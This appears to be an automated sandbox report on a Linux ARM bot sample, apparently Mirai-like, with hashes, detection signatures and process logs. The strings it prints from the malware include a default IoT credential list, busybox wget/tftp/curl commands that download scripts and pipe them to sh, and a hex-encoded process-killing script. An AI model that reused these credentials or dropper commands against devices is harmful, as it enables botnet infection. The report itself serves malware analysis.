Linux Analysis Report
la.bot.arm.elf

Overview

General Information

Sample name: la.bot.arm.elf
Analysis ID: 1542966
MD5: 1ad34c25de21a02a3721b6c10468ad11
SHA1: 315a0ac4a543e3913312b48825fa88ae688ae1a3
SHA256: 36ce249822406217edd7d9d6aba1f54c4b10c0a5b64128f25428f8e5529d4785
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 48
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.arm.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample listens on a socket
Source: /tmp/la.bot.arm.elf (PID: 5431) Socket: 127.0.0.1:1234 Jump to behavior
Source: la.bot.arm.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm.elf (PID: 5433) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5562) SIGKILL sent: pid: 5560, result: successful Jump to behavior
Source: classification engine Classification label: mal48.linELF@0/0@0/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/238/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/239/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/241/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/371/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/134/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/816/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5433) File opened: /proc/267/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm.elf (PID: 5431) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm.elf, 5431.1.000055c9ba511000.000055c9ba65f000.rw-.sdmp, la.bot.arm.elf, 5560.1.000055c9ba511000.000055c9ba65f000.rw-.sdmp, la.bot.arm.elf, 5562.1.000055c9ba511000.000055c9ba65f000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5431.1.00007ffd4e66f000.00007ffd4e690000.rw-.sdmp, la.bot.arm.elf, 5560.1.00007ffd4e66f000.00007ffd4e690000.rw-.sdmp, la.bot.arm.elf, 5562.1.00007ffd4e66f000.00007ffd4e690000.rw-.sdmp Binary or memory string: [x86_64/usr/bin/qemu-arm/tmp/la.bot.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm.elf
Source: la.bot.arm.elf, 5431.1.000055c9ba511000.000055c9ba65f000.rw-.sdmp, la.bot.arm.elf, 5560.1.000055c9ba511000.000055c9ba65f000.rw-.sdmp, la.bot.arm.elf, 5562.1.000055c9ba511000.000055c9ba65f000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5431.1.00007ffd4e66f000.00007ffd4e690000.rw-.sdmp, la.bot.arm.elf, 5560.1.00007ffd4e66f000.00007ffd4e690000.rw-.sdmp, la.bot.arm.elf, 5562.1.00007ffd4e66f000.00007ffd4e690000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

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